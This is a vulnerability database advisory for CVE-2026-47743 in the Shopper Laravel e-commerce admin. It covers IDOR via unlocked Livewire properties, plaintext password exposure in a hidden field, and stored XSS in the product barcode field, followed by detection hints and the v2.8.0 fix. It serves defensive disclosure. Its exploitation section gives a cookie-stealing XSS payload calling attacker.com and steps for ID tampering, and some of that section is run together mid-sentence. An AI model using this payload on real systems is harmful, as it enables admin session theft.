
Cloud Vulnerability DB
コミュニティ主導の脆弱性データベース
CVE-2026-47743 is a cluster of three related security defects in the admin Livewire components of the shopper/framework (Shopper e-commerce framework for Laravel), affecting all versions prior to 2.8.0. The vulnerabilities encompass an Insecure Direct Object Reference (IDOR) via unlocked Livewire properties, sensitive plaintext password disclosure through a hidden form field, and stored Cross-Site Scripting (XSS) via the product barcode field. The advisory was first published on May 20, 2026, and added to the GitHub Advisory Database on June 5, 2026. The CVSS v3.1 base score is 8.7 (High) (GitHub Advisory, Shopper Advisory).
The vulnerability set encompasses three CWEs: CWE-639 (Authorization Bypass Through User-Controlled Key), CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor), and CWE-79 (Stored XSS). For the IDOR issue, multiple Livewire admin components exposed Eloquent model identifiers as public properties without the #[Locked] attribute, allowing an authenticated attacker to manipulate the wire: payload in the browser to reference arbitrary record IDs across models including Order, Discount, Role, Inventory, Product, and others. For the credential disclosure issue, Customers/Create::store() re-passed a Hidden _password form field directly into the create payload, causing the plaintext password to be rendered in the page DOM and captured in any Livewire snapshot logging. For the stored XSS issue, the product barcode field was rendered via DNS1DFacade::getBarcodeHTML() using Laravel's unescaped {!! !!} syntax, allowing an attacker with edit_products permission to persist a malicious script payload that executes in the browser of any admin viewing the product (GitHub Advisory, PR #511).
Successful exploitation of these vulnerabilities can result in high confidentiality and integrity impact across the admin panel. The IDOR flaw allows authenticated low-privilege users to read or mutate records belonging to other users or system entities (orders, products, customers, roles) without authorization. The password disclosure issue exposes plaintext credentials in the HTML DOM and server-side logs, risking account takeover for any customer created via the affected form. The stored XSS vulnerability enables session theft and privileged-action chaining against any admin user who views an affected product, potentially leading to full administrative compromise (GitHub Advisory, Shopper Advisory).
shopper/framework version < 2.8.0 by inspecting HTTP response headers, Composer lock files, or admin panel UI elements.edit_products permission for XSS, or any authenticated session for IDOR).id or model identifier in the wire: snapshot payload to reference a different record ID (e.g., another customer's order or user record), then replay the request to read or mutate the targeted record.<img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>) in the barcode field, and save the product. Any admin user who subsequently views that product's detail page will have the script execute in their browser context./livewire/update or similar endpoints with modified model ID values in the payload body._password fields in plaintext; repeated Livewire requests targeting sequential or out-of-scope record IDs from a single authenticated session.<script>, onerror=, onload=).The vendor has released a fix in shopper/framework v2.8.0, which applies the #[Locked] attribute to all vulnerable Livewire model properties, removes the plaintext password round-trip from Customers/Create::store() (hashing at the action boundary instead), and escapes barcode output before passing it to the barcode generator. No workarounds are available; upgrading is the only remediation. Upgrade by running: composer require shopper/admin:^2.8 (GitHub Advisory, Shopper Advisory).
ソース: このレポートは AI を使用して生成されました
無料の脆弱性評価
9つのセキュリティドメインにわたるクラウドセキュリティプラクティスを評価して、リスクレベルをベンチマークし、防御のギャップを特定します。
パーソナライズされたデモを見る
"私が今まで見た中で最高のユーザーエクスペリエンスは、クラウドワークロードを完全に可視化します。"
"Wiz を使えば、クラウド環境で何が起こっているかを 1 つの画面で確認することができます"
"Wizが何かを重要視した場合、それは実際に重要であることを私たちは知っています。"